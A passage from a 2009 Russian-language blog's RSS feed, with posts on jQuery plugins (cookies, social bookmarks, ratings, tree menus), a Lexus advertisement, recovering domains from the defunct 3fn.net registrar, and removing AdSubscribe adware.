		<link>http://saintist.ru/2009/09/06/jquery-cookie/</link>
		<comments>http://saintist.ru/2009/09/06/jquery-cookie/#comments</comments>
		<pubDate>Sun, 06 Sep 2009 18:58:13 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[jQuery]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[Ultimate jQuery]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=820</guid>
		<description><![CDATA[Зачастую необходимо реализовать на стороне клиента сохранение необходимой информации посредством механизма cookie. Плагин jQuery позволяет не вдаваясь в тонкости чистого javascripta реализовать задуманное парами строк кода. Нам понадобиться сам плагин jquery.cookie.zip. Что и как ? $.cookie('the_cookie'); // получить значение cookie $.cookie('the_cookie', 'the_value'); //установить значение cookie $.cookie('the_cookie', 'the_value', { expires: 7 }); //установить куки с временем [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/09/jquery_cookie.png"><img class="size-full wp-image-821 aligncenter" title="jquery_cookie" src="http://saintist.ru/wp-content/uploads/2009/09/jquery_cookie.png" alt="jquery_cookie" width="208" height="360" /></a></p>
<p>Зачастую необходимо реализовать на стороне  клиента  сохранение необходимой информации посредством механизма cookie. Плагин  jQuery позволяет не вдаваясь в тонкости  чистого javascripta  реализовать задуманное парами строк кода.<br />
<span id="more-820"></span><br />
Нам понадобиться сам плагин  <a href="/wp-content/uploads/2009/09/jquery.cookie.zip">jquery.cookie.zip</a>.</p>
<p><strong>Что и как ?</strong></p>
<pre>
$.cookie('the_cookie'); // получить значение cookie
$.cookie('the_cookie', 'the_value'); //установить значение cookie
$.cookie('the_cookie', 'the_value', { expires: 7 }); //установить куки с временем жизни 7 дней
$.cookie('the_cookie', '', { expires: -1 }); // удалить cookie
$.cookie('the_cookie', null); // удалить  cookie
</pre>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/09/06/jquery-cookie/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Оригинальная  реклама Lexus</title>
		<link>http://saintist.ru/2009/09/01/originalnaya-reklama-lexus/</link>
		<comments>http://saintist.ru/2009/09/01/originalnaya-reklama-lexus/#comments</comments>
		<pubDate>Tue, 01 Sep 2009 16:53:34 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Новости]]></category>
		<category><![CDATA[Реклама]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=802</guid>
		<description><![CDATA[Идея и реализация просто супер! Lexus сочетает в себе роскошь, современные технологии и внимание к желаниям и потребностям человека. Технические характеристики этого автомобиля, лучшие в своём классе служат отличным доказательством этому. Агентство Team One решило показать отсутствие вибрации, при работе двигателя Lexus. Для этого пригласили чемпиона мира по конструированию карточных небоскребов Брайана Берга и в [...]]]></description>
			<content:encoded><![CDATA[<p><object type="application/x-shockwave-flash" style="width:425px; height:355px;" data="http://www.youtube.com/v/gQnHcBQftrw&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0"><param name="movie" value="http://www.youtube.com/v/gQnHcBQftrw&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0" /></object></p>
<p>Идея и реализация просто супер!<br />
<span id="more-802"></span></p>
<p><object type="application/x-shockwave-flash" style="width:425px; height:355px;" data="http://www.youtube.com/v/cxtKP81rnkY&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0"><param name="movie" value="http://www.youtube.com/v/cxtKP81rnkY&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0" /></object></p>
<p>Lexus сочетает в себе роскошь, современные технологии и внимание к желаниям и потребностям человека.  Технические характеристики этого автомобиля, лучшие в своём классе служат отличным доказательством этому.</p>
<p>Агентство Team One решило показать отсутствие вибрации, при работе двигателя Lexus.  </p>
<p>Для этого пригласили  чемпиона мира по конструированию карточных небоскребов Брайана Берга и  в течение 18 дней использовав 108864  карт он построил 30 карточных  башен вокруг Лексуса и на нем, получился целый город.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/09/01/originalnaya-reklama-lexus/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Как восстановить контроль над  доменами зарегистрированными в 3fn.net</title>
		<link>http://saintist.ru/2009/09/01/kak-vosstanovit-kontrol-nad-domenami-zaregistrirovannymi-v-3fnnet/</link>
		<comments>http://saintist.ru/2009/09/01/kak-vosstanovit-kontrol-nad-domenami-zaregistrirovannymi-v-3fnnet/#comments</comments>
		<pubDate>Tue, 01 Sep 2009 08:51:37 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[notes]]></category>
		<category><![CDATA[3fn.net]]></category>
		<category><![CDATA[domain]]></category>
		<category><![CDATA[select]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=793</guid>
		<description><![CDATA[В свое время пользовался услугами регистратора 3fn.net. Как всем известно контору прикрыли как рассадник всего что только есть запрещенного ). Недавно пришло письмецо от что срок действия доменов истекает, и я задумался над тем как мне их получить,а точнее перенести к другому регистратору. Вот что нужно сделать! В сапорте выбранного претендента в регистраторы на мое [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;"><a href="http://saintist.ru/wp-content/uploads/2009/09/3fn-net.jpeg"><img class="size-full wp-image-794 aligncenter" title="3fn-net" src="http://saintist.ru/wp-content/uploads/2009/09/3fn-net.jpeg" alt="3fn-net" width="115" height="46" /></a><br />
В свое время  пользовался услугами регистратора 3fn.net. Как всем известно  контору прикрыли как рассадник всего что только есть запрещенного ). Недавно пришло письмецо от что срок  действия доменов истекает, и я задумался над  тем как мне их получить,а точнее  перенести к другому регистратору. Вот что нужно сделать!<br />
<span id="more-793"></span></p>
<p style="text-align: left;">В сапорте  выбранного претендента в регистраторы  на мое письмо о сложившейся проблеме ответили что им необходимы секретные коды (Domain Name Authorization Code) ко всем доменам для  переноса к ним. Как их  получить ведь register2.3fn.net давно прикрыли и доступа к панели управления отсутствует.</p>
<p>Следующий шаг. В наличии есть сервис</p>
<p><a href="http://saintist.ru/wp-content/uploads/2009/09/pdr_llogo.jpg"><img class="size-full wp-image-795 aligncenter" title="pdr_llogo" src="http://saintist.ru/wp-content/uploads/2009/09/pdr_llogo.jpg" alt="pdr_llogo" width="200" height="86" /></a></p>
<p><a href="https://support.publicdomainregistry.com/support/index.jsp">support.publicdomainregistry.com</a></p>
<p>Отправил им запрос на восстановление контроля над  доменами (Create Support Request)</p>
<p>В моем случае я вот что написал, примерно в 14:00 в первый день:</p>
<p><strong>Good day, I registered last year, the registrar http://3fn.net multiple domain names </strong></p>
<p><strong>http://whois.domaintools.com/первый домен<br />
http://whois.domaintools.com/второй домен<br />
http://whois.domaintools.com/третий домен</strong></p>
<p><strong>as a company as a result of the trial eliminated, I can not independently carry out the procedure for transferring domain names to another registrar (Адрес регистратора) so I do not have access to the secret code for all three domains</p>
<p>What do I need to do and provide for a secret domain code, and successful transfer to the selected registrar</p>
<p></strong></p>
<p>У кого  туго с английским , воспользуйтесь переводчиком, например гуглтранслейтом</p>
<p>Ответ пришел  на следующий день примерно в 10:00</p>
<p><strong>Hello, </strong></p>
<p><strong>I have escalated this issue to the concern team. We shall update you through this Support Request with more information at the earliest.</strong></p>
<p><strong>Please find below the Authorization code required for transferring away the domain names under your account with 3FN.</p>
<p>======================================<br />
Domain Name Authorization Code</p>
<p></strong></p>
<p><strong>Здесь был  список ВСЕХ доменов и кодов к ним. </strong></p>
<p>Коды авторизации выслали для абсолютно всех  доменов, у меня их  там висело гораздо больше, но  основная часть просто баластом, а не только тех  которых я запросил.</p>
<p>Вот и все. Контроль восстановлен.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/09/01/kak-vosstanovit-kontrol-nad-domenami-zaregistrirovannymi-v-3fnnet/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Удалить AdSubscribe рекламу</title>
		<link>http://saintist.ru/2009/08/29/udalit-adsubscribe-reklamu/</link>
		<comments>http://saintist.ru/2009/08/29/udalit-adsubscribe-reklamu/#comments</comments>
		<pubDate>Sat, 29 Aug 2009 06:34:08 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[notes]]></category>
		<category><![CDATA[fix]]></category>
		<category><![CDATA[Реклама]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=781</guid>
		<description><![CDATA[Вчера откуда-то появилась на машине навязчивая реклама AdSubscribe. Появляется окно через промежутки времени, поверх всего остального, при нажатии на кнопку закрыть закрывается не сразу а после секунд 60, требует отправки sms на какой-то номер. Показывает рекламу каких-то футболок. У кого-то слышал фаллоимитаторы рекламировали с очень красочными картинками . Как удалить? Тест с глубоким сканированием на [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://saintist.ru/wp-content/uploads/2009/08/adsubscribe.png"><img class="aligncenter size-medium wp-image-782" title="adsubscribe" src="http://saintist.ru/wp-content/uploads/2009/08/adsubscribe-300x271.png" alt="adsubscribe" width="300" height="271" /></a></p>
<p style="text-align: left;">
Вчера  откуда-то появилась на  машине навязчивая реклама AdSubscribe. Появляется окно  через промежутки времени, поверх всего остального, при нажатии на кнопку закрыть  закрывается не сразу а после секунд 60, требует отправки sms на какой-то номер.  Показывает рекламу каких-то футболок. У кого-то слышал  фаллоимитаторы рекламировали с очень красочными картинками <img src='http://saintist.ru/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> .  Как удалить?<br />
<span id="more-781"></span><br />
Тест  с глубоким сканированием на трояны и сопутствующую хрень всего что есть   ничего не выявил.<br />
Экспериментальным путем выяснил  что до этого качал  книжку,  и там попался клиент для просмотра  электронных  книг с какого-то сервиса.<br />
<a href="http://saintist.ru/wp-content/uploads/2009/08/adsubscribe_books_client.png"><img class="size-medium wp-image-783  aligncenter" title="adsubscribe_books_client" src="http://saintist.ru/wp-content/uploads/2009/08/adsubscribe_books_client-300x170.png" alt="adsubscribe_books_client" width="300" height="170" /></a><br />
Он то и установил рекламу.<br />
Окно закрывалось только через несколько секунд после нажатия кнопки [Закрыть].  Присутствовал  счетчик показов. Для удаления  требует 1000 показов или отправку sms на какойто номер. </p>
<p style="text-align: left;"><strong>Как удалить?</strong></p>
<p>Программа ставит себя в C:\Documents and Settings\{username}\AdSubscribe\ Можно попробовать удалить всю папку но  файл AdSubscribe.dll используется системой и не удаляется.</p>
<p style="text-align: center;">Делаем проще<br />
В папке лежит файл AdSubscrib.dat – файл настроек, там в текстовом виде есть переменная<br />
<strong>[Runtime]<br />
ADSR=999</strong><br />
это счётчик рекламы заменяем его на ноль и запускаем uninstall.exe<br />
<a href="http://saintist.ru/wp-content/uploads/2009/08/adsubscribe_uninstall.png"><img class="size-medium wp-image-785 aligncenter" title="adsubscribe_uninstall" src="http://saintist.ru/wp-content/uploads/2009/08/adsubscribe_uninstall-300x175.png" alt="adsubscribe_uninstall" width="300" height="175" /></a></p>
<p>Вот и все.</p>
<p>Также рассылка отключается если ввести  номер СМС<br />
<strong>012345</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/08/29/udalit-adsubscribe-reklamu/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>jQuery Добавить в социальные закладки</title>
		<link>http://saintist.ru/2009/08/19/jquery-bookmarks/</link>
		<comments>http://saintist.ru/2009/08/19/jquery-bookmarks/#comments</comments>
		<pubDate>Wed, 19 Aug 2009 08:10:04 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[jQuery]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[Ultimate jQuery]]></category>
		<category><![CDATA[bookmarks]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=758</guid>
		<description><![CDATA[Кнопка &#171;Добавить в социальные закладки&#187; распространенный элемент современных сайтов. Простое и удобное решение на jQuery позволит логко добавить такую кнопку на сайт. Что и как ? Возьмем jquery.bookmark.package-1.1.3.zip Подключим jquery и &#60;style type="text/css"&#62;@import "jquery.bookmark.css";&#60;/style&#62; &#60;script type="text/javascript" src="jquery.bookmark.js"&#62;&#60;/script&#62; Добавим в HTML код div или span с нужным ID. Добавим js код. $(&#8216;#defaultBookmark&#8217;).bookmark(); И все, закладки готовы. [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="/wp-content/uploads/2009/08/jquery_bookmarks.jpg"><img class="size-full wp-image-759 aligncenter" title="jquery_bookmarks" src="http://saintist.ru/wp-content/uploads/2009/08/jquery_bookmarks.jpg" alt="jquery_bookmarks" width="256" height="256" /></a></p>
<p>Кнопка &#171;Добавить в социальные закладки&#187; распространенный элемент современных  сайтов. Простое и удобное решение  на jQuery позволит логко  добавить такую кнопку на сайт.<br />
<span id="more-758"></span></p>
<p><strong>Что и как ?</strong></p>
<p>Возьмем  <a href="/wp-content/uploads/2009/08/jquery.bookmark.package-1.1.3.zip">jquery.bookmark.package-1.1.3.zip</a></p>
<p>Подключим jquery</p>
<p>и</p>
<pre><code class="html"><span class="html__tag_start"><strong>&lt;style</strong></span><strong> </strong><span class="html__attr_name"><strong>type</strong></span><strong>=</strong><span class="html__attr_value"><strong>"text/css"</strong></span><span class="html__tag_start"><strong>&gt;</strong></span><span id="chili_1250666571344"><span class="css__directive"><strong>@import</strong></span><strong> "</strong><span class="css__element"><strong>jquery</strong></span><span class="css__class"><strong>.bookmark</strong></span><span class="css__class"><strong>.css</strong></span><strong>";</strong></span><span class="html__tag_end"><strong>&lt;/style&gt;</strong></span>
<span class="html__tag_start"><strong>&lt;script</strong></span><strong> </strong><span class="html__attr_name"><strong>type</strong></span><strong>=</strong><span class="html__attr_value"><strong>"text/javascript"</strong></span><strong> </strong><span class="html__attr_name"><strong>src</strong></span><strong>=</strong><span class="html__attr_value"><strong>"jquery.bookmark.js"</strong></span><span class="html__tag_start"><strong>&gt;</strong></span><span class="html__tag_end"><strong>&lt;/script&gt;</strong></span></code></pre>
<p>Добавим в HTML код div или span с нужным ID.</p>
<p>Добавим js  код.</p>
<p>$(&#8216;#defaultBookmark&#8217;).bookmark();</p>
<p>И все, закладки готовы.</p>
<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/08/bookmarks.jpg"><img class="size-full wp-image-760 aligncenter" title="bookmarks" src="http://saintist.ru/wp-content/uploads/2009/08/bookmarks.jpg" alt="bookmarks" width="325" height="164" /></a></p>
<p>Но вряд ли  нам подойдет текущий внешний вид.</p>
<p>Что же  в наличии несколько опций позволяющих   изменить внешний вид функционала.</p>
<p><strong>Опции:</strong></p>
<p><strong>$.bookmark.setDefaults({icons: &#8216;img/bookmarks.png&#8217;}); </strong>- изменим подложку изображение отвечающий за внешний вид  социальных  сервисов. Придется правда поменять немного код css  под  свои нужды в таком случае</p>
<p><strong>$(&#8216;#selectBookmark&#8217;).bookmark({sites:<br />
['delicious', 'digg', 'furl', 'stumbleupon']});</strong> &#8212;  показываем только  закладки на выбранные  социальные сервисы.</p>
<p><strong>$(&#8216;#expandedBookmark&#8217;).bookmark({compact: false,<br />
sites: ['facebook', 'google', 'magnolia', 'mixx']});</strong> &#8212;  вывод   в  стандартном формате, с названиями социальных  сервисов.</p>
<p><strong>$(&#8216;#popupBookmark&#8217;).bookmark({popup: true,  popupText: &#8216;Добавить в соц закладки&#8217;});</strong> &#8212;  показывать   плашку  с  иконками   при  нажатии на выбранный  елемент, компактный  попап вариант. popupText &#8212; дополнительный параметр, какую надпись выводить.</p>
<p><strong>$(&#8216;#popupImageBookmark&#8217;).bookmark({popup: true,<br />
popupText: &#8216;<img src="img/bookmarkthis.png" alt="Bookmark this..." />&#8216;});</strong> &#8212;  вместо надписи выводим   заданное изображение</p>
<p><strong>$(&#8216;#favouriteBookmark&#8217;).bookmark({sites: ['slashdot'], addFavorite: true});</strong> &#8212; автоматически добавить в избранное браузера.</p>
<p><strong>$(&#8216;#emailBookmark&#8217;).bookmark({ addEmail: true});</strong> &#8212; вывод  иконки, письмо другу отправить</p>
<p><strong>$(&#8216;#iconsBookmark&#8217;).bookmark({icons: &#8216;img/bookmarks-big.png&#8217;, iconSize: 22,<br />
sites: ['digg', 'dzone', 'stumbleupon', 'technorati',<br />
'reddit', 'delicious', 'newsvine', 'furl', 'blinklist']});</strong> &#8212; альтернативные  иконки</p>
<p><strong>$(&#8216;#otherBookmark&#8217;).bookmark({<br />
url: &#8216;http://сайт/страница&#8217;,<br />
title: &#8216;jQuery Bookmark Reference&#8217;,<br />
sites: ['technorati', 'reddit']});<br />
</strong> &#8212;  закладка не на текущую, а на другую, заданную , страницу</p>
<p><strong>$(&#8216;#changeBookmark&#8217;).bookmark({sites: ['google', 'furl']}); </strong></p>
<p><strong> </strong></p>
<p><strong>$(&#8216;#changeButton&#8217;).toggle(function() {<br />
$(&#8216;#changeBookmark&#8217;).bookmark(&#8216;change&#8217;,<br />
{sites: ['stumbleupon', 'propeller']});<br />
},<br />
function() {<br />
$(&#8216;#changeBookmark&#8217;).bookmark(&#8216;change&#8217;,<br />
{sites: ['google', 'furl']});<br />
});</strong> меняем на лету закладки. Добавляется  кнопка  при активации которой, будут меняться  иконки сервисов (указанных в параметрах)  в которых  можно  оставить закладку на вашу страницу.</p>
<p><strong>Список сайтов.</strong></p>
<p>Список сайтов  которые использует плагин довольно объемный.<br />
ID &#8212;  название сайта</p>
<p>* alltagz &#8212; alltagz<br />
* allvoices &#8212; Allvoices<br />
* aol &#8212; myAOL<br />
* arto &#8212; Arto<br />
* ask &#8212; Ask<br />
* backflip &#8212; Backflip<br />
* ballhype &#8212; BallHype<br />
* bebo &#8212; Bebo<br />
* bibsonomy &#8212; BibSonomy<br />
* blinklist &#8212; BlinkList<br />
* bloglines &#8212; Bloglines<br />
* blogmarks &#8212; Blogmarks<br />
* bookmarkit &#8212; bookmark.it<br />
* bookmarksfr &#8212; bookmarks.fr<br />
* buddymarks &#8212; BuddyMarks<br />
* bx &#8212; Business Exchange<br />
* bzzster &#8212; Bzzster<br />
* care2 &#8212; Care2<br />
* citeulike &#8212; citeulike<br />
* connotea &#8212; Connotea<br />
* current &#8212; Current<br />
* dealsplus &#8212; deals plus<br />
* delicious &#8212; del.icio.us<br />
* designfloat &#8212; Design Float<br />
* digg &#8212; Digg<br />
* diigo &#8212; Diigo<br />
* dzone &#8212; DZone<br />
* evernote &#8212; Evernote<br />
* expression &#8212; Expression<br />
* facebook &#8212; Facebook<br />
* fark &#8212; Fark<br />
* faves &#8212; Faves<br />
* feedmelinks &#8212; Feed Me Links<br />
* folkd &#8212; Folkd<br />
* foxiewire &#8212; FoxieWire<br />
* fresqui &#8212; Fresqui<br />
* friendfeed &#8212; FriendFeed<br />
* funp &#8212; funP<br />
* furl &#8212; Furl<br />
* gabbr &#8212; Gabbr<br />
* globalgrind &#8212; Global Grind<br />
* google &#8212; Google<br />
* gravee &#8212; Gravee<br />
* healthranker &#8212; HealthRanker<br />
* hemidemi &#8212; HEMiDEMi<br />
* hugg &#8212; Hugg<br />
* identica &#8212; identi.ca<br />
* imera &#8212; Imera<br />
* instapaper &#8212; Instapaper<br />
* jamespot &#8212; Jamespot<br />
* jumptags &#8212; Jumptags<br />
* kaboodle &#8212; Kaboodle<br />
* khabbr &#8212; Khabbr<br />
* kledy &#8212; Kledy<br />
* kirtsy &#8212; Kirtsy<br />
* kool &#8212; Koolontheweb<br />
* linkarena &#8212; Linkarena<br />
* linkagogo &#8212; LinkaGoGo<br />
* linkedin &#8212; LinkedIn<br />
* livejournal &#8212; LiveJournal<br />
* magnolia &#8212; ma.gnolia<br />
* maple &#8212; Maple<br />
* meneame &#8212; men?ame<br />
* mindbody &#8212; MindBodyGreen<br />
* misterwong &#8212; Mister Wong<br />
* mixx &#8212; Mixx<br />
* multiply &#8212; Multiply<br />
* mylinkvault &#8212; MyLinkVault<br />
* myspace &#8212; MySpace<br />
* n4g &#8212; N4G<br />
* netlog &#8212; NetLog<br />
* netscape &#8212; Netscape<br />
* netvibes &#8212; Netvibes<br />
* netvouz &#8212; Netvouz<br />
* newstrust &#8212; NewsTrust<br />
* newsvine &#8212; Newsvine<br />
* nowpublic &#8212; NowPublic<br />
* oknotizie &#8212; OKNOtizie<br />
* oneview &#8212; OneView<br />
* ping &#8212; Ping<br />
* plaxo &#8212; Plaxo Pulse<br />
* propeller &#8212; Propeller<br />
* protopage &#8212; Protopage<br />
* pusha &#8212; Pusha<br />
* reddit &#8212; reddit<br />
* scoopeo &#8212; Scoopeo<br />
* segnalo &#8212; Segnalo<br />
* shoutwire &#8212; ShoutWire<br />
* simpy &#8212; Simpy<br />
* sitejot &#8212; Sitejot<br />
* slashdot &#8212; Slashdot<br />
* smaknews &#8212; SmakNews<br />
* smarking &#8212; Smarking<br />
* sphinn &#8212; Sphinn<br />
* spurl &#8212; Spurl<br />
* squidoo &#8212; Squidoo<br />
* startaid &#8212; StartAid<br />
* strands &#8212; Strands<br />
* stumbleupon &#8212; StumbleUpon<br />
* stumpedia &#8212; Stumpedia<br />
* symbaloo &#8212; Symbaloo<br />
* tagza &#8212; Tagza<br />
* tailrank &#8212; Tailrank<br />
* technet &#8212; TechNet<br />
* technorati &#8212; Technorati<br />
* technotizie &#8212; Technotizie<br />
* thisnext &#8212; ThisNext<br />
* tipd &#8212; Tip&#8217;d<br />
* tumblr &#8212; tumblr<br />
* twitthis &#8212; TwitThis<br />
* viadeo &#8212; Viadeo<br />
* vodpod &#8212; Vodpod<br />
* webnews &#8212; WebNews<br />
* wikio &#8212; Wikio<br />
* windows &#8212; Windows Live<br />
* wishlist &#8212; Amazon WishList<br />
* wists &#8212; Wists<br />
* xanga &#8212; Xanga<br />
* xerpi &#8212; Xerpi<br />
* yahoobm &#8212; Yahoo Bookmarks<br />
* yahoobuzz &#8212; Yahoo Buzz<br />
* yahoo &#8212; Yahoo MyWeb<br />
* yardbarker &#8212; Yardbarker<br />
* yigg &#8212; Yigg<br />
* yoolink &#8212; yoolink</p>
<p>Но при желании  можно добавить  свой сайт.</p>
<p><strong>var html = &#187;;<br />
$.each($.bookmark.getSites(), function(id, site) {<br />
if (id != &#8216;example&#8217;) {<br />
html += &#8216; </strong></p>
<p><strong></strong></p>
<p><strong></strong></p>
<p><strong></strong></p>
<p><strong></p>
<li>&#8216; + id + &#8216; &#8212; &#8216; + site.display + &#8216;</li>
<p></strong></p>
<p><strong>&#8216;;<br />
}<br />
});<br />
$(&#8216;#siteList&#8217;).html(html);<br />
</strong></p>
<p>где</p>
<p>id &#8212;  его id<br />
ite.display &#8212; выводимый заголовок</p>
<p><strong>Полный список всех  параметров</strong></p>
<p>$(selector).bookmark({</p>
<p><strong>url: &#8216;</strong>&#8216;,  // url на страницу  сервиса добавления закладки<br />
<strong> title: &#187;</strong>,  // Заготовок закладки<br />
<strong> sites: []</strong>,  // список  ID сайтов<br />
<strong> icons: &#8216;bookmarks.png&#8217;</strong>, // подложка с иконками сайтов</p>
<p><strong>iconSize: 16</strong>,  // размер  иконок</p>
<p><strong>iconCols: 16</strong>,  // количество колонок иконок</p>
<p><strong>target: &#8216;_blank&#8217;</strong>,<strong> </strong> // имя tragets для  ссылок на  закладки</p>
<p><strong>compact: true</strong>,  // компактный вид</p>
<p><strong>hint: &#8216;Send to {s}</strong>&#8216;,  // Для попап варианта текст</p>
<p><strong>popup: false</strong>, // попап режим включить отключить</p>
<p><strong>popupText: &#8216;Bookmark this site&#8230;&#8217;</strong>, // текст  для попап тригера</p>
<p><strong>addFavorite: false</strong>,  // показывать или нет иконку добавить в избранное</p>
<p><strong>favoriteText: &#8216;Favorite&#8217;</strong>,  // текст для  тригера  добавить в избранное</p>
<p><strong>favoriteIcon: 0</strong>,  // Иконка для  линка добавить в избранное</p>
<p><strong>addEmail: false</strong>,  // режим отправить другу по email</p>
<p><strong>emailText: &#8216;E-mail&#8217;</strong>,  // Текст  в режиме отправить другу</p>
<p><strong>emailIcon: 1</strong>,  // Иконка для email линка</p>
<p><strong>emailSubject: &#8216;Interesting page&#8217;</strong>,  // Тема email</p>
<p><strong>emailBody: &#8216;I thought you might find this page interesting:\n{t} ({u})&#8217;</strong>,<br />
// содержимое письма<br />
});</p>
<p><strong>$(selector).bookmark(&#8216;change&#8217;, settings); </strong> // переопределение параметров</p>
<p><strong>$(selector).bookmark(&#8216;destroy&#8217;);</strong> // удалить  закладки</p>
<p><strong>$.bookmark.setDefaults(settings); </strong> //  восстановить стандартные  параметры</p>
<p><strong>$.bookmark.addSite(id, display, icon, url);</strong> // добавление в закладки  дополнительного сайта</p>
<p><strong>$.bookmark.getSites();</strong> // подробная инфа по сайтам в закладках</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/08/19/jquery-bookmarks/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>jQuery ajax рейтинг</title>
		<link>http://saintist.ru/2009/08/19/jquery-ajax-rating/</link>
		<comments>http://saintist.ru/2009/08/19/jquery-ajax-rating/#comments</comments>
		<pubDate>Wed, 19 Aug 2009 07:13:35 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[jQuery]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[Ultimate jQuery]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[rating]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=741</guid>
		<description><![CDATA[Рейтинг один из необходимых атрибутов современных сайтов. Участвовать в рейтинге могут не только статьи, посты но и все что угодно. Системы рейтинга очень разнообразны , но одно у них общее , пользователю дается возможность оставить оценку выражающую свое отношение. Для того чтобы организовать систему рейтинга на стороне пользователя понадобиться небольшой плагин для jQuery jquery.rater-1.0.zip Что [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/08/jquery_ajax_rating.jpg"><img class="size-full wp-image-742 aligncenter" title="jquery_ajax_rating" src="http://saintist.ru/wp-content/uploads/2009/08/jquery_ajax_rating.jpg" alt="jquery_ajax_rating" width="247" height="130" /></a></p>
<p>Рейтинг  один из   необходимых  атрибутов современных сайтов. Участвовать в рейтинге могут не только  статьи, посты но и все что угодно. Системы рейтинга очень разнообразны  , но  одно у них общее , пользователю дается возможность  оставить оценку  выражающую свое отношение.<br />
<span id="more-741"></span></p>
<p>Для того чтобы организовать  систему рейтинга  на стороне   пользователя понадобиться небольшой плагин для jQuery <a href="/wp-content/uploads/2009/08/jquery.rater-1.0.zip">jquery.rater-1.0.zip</a></p>
<p><strong>Что и как?</strong></p>
<p>Размещаем на странице контейнер для  интерфейса системы рейтинга.</p>
<p><span class="nodeLabelBox repTarget "><strong>&lt;</strong><span class="nodeTag "><strong>div</strong></span><span class="nodeAttr editGroup "><strong> </strong><span class="nodeName editable "><strong>id</strong></span><strong>=&#187;</strong><span class="nodeValue editable "><strong>rating1</strong></span><strong>&#171;</strong></span><span class="nodeAttr editGroup "><strong> </strong><span class="nodeName editable "><strong>class</strong></span><strong>=&#187;rating&#187;</strong></span><span class="nodeBracket editable insertBefore "><strong>&gt; &lt;/div&gt;</strong></span></span></p>
<p>И инициализируем его</p>
<p><code class="source"><strong>$('#rating1').rater('ratings.php', </strong></code></p>
<p><code class="source"><strong>{maxvalue:10, style: 'basic', curvalue:0}</strong></code></p>
<p><code class="source"><strong>);</strong></code><code class="source"> </code></p>
<p><strong>Параметры:</strong></p>
<p>ratings.php &#8212; какому скрипту отдавать переменную $_POST['rating'];</p>
<p>maxvalue:10 &#8212; максимальное значение в системе рейтинга, (определяет сколько &#171;звезд&#187;)</p>
<p>style: &#8216;small&#8217; &#8212;  стиль внешнего вида</p>
<p>curvalue:3 &#8212;  текущее значение рейтинга</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/08/19/jquery-ajax-rating/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>jQuery древовидное меню</title>
		<link>http://saintist.ru/2009/08/18/jquery-treeview/</link>
		<comments>http://saintist.ru/2009/08/18/jquery-treeview/#comments</comments>
		<pubDate>Tue, 18 Aug 2009 08:15:20 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[jQuery]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[Ultimate jQuery]]></category>
		<category><![CDATA[jquery-treeview]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[древовидное меню]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=732</guid>
		<description><![CDATA[Меню сайта зачастую содержит довольно много категорий, и многое из них содержат в себе дополнительные категории. Получается довольно громоздкая конструкция. Но можно отлично скомпоновать все это в виде древовидного меню . В этом поможет jQuery Treeview плагин Что и как? Для использования понадобиться подключить несколько файлов &#60;link rel=&#187;stylesheet&#187; href=&#187;/js/plugins/treeview/jquery.treeview.css&#187; type=&#187;text/css&#187; /&#62; &#60;script type=&#187;text/javascript&#187; src=&#187;/js/plugins/treeview/jquery.treeview.js&#187;&#62;&#60;/script&#62; и [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="/wp-content/uploads/2009/08/jquery_tree_view.jpg"><img class="size-full wp-image-733 aligncenter" title="jquery_tree_view" src="http://saintist.ru/wp-content/uploads/2009/08/jquery_tree_view.jpg" alt="jquery_tree_view" width="292" height="380" /></a></p>
<p>Меню сайта  зачастую содержит довольно  много категорий, и многое из  них  содержат в себе  дополнительные категории. Получается довольно  громоздкая конструкция.</p>
<p>Но можно  отлично   скомпоновать все это в виде древовидного меню .<br />
<span id="more-732"></span></p>
<p>В этом поможет <a href="/wp-content/uploads/2009/08/jquery.treeview.zip">jQuery Treeview плагин</a></p>
<p>Что и как?</p>
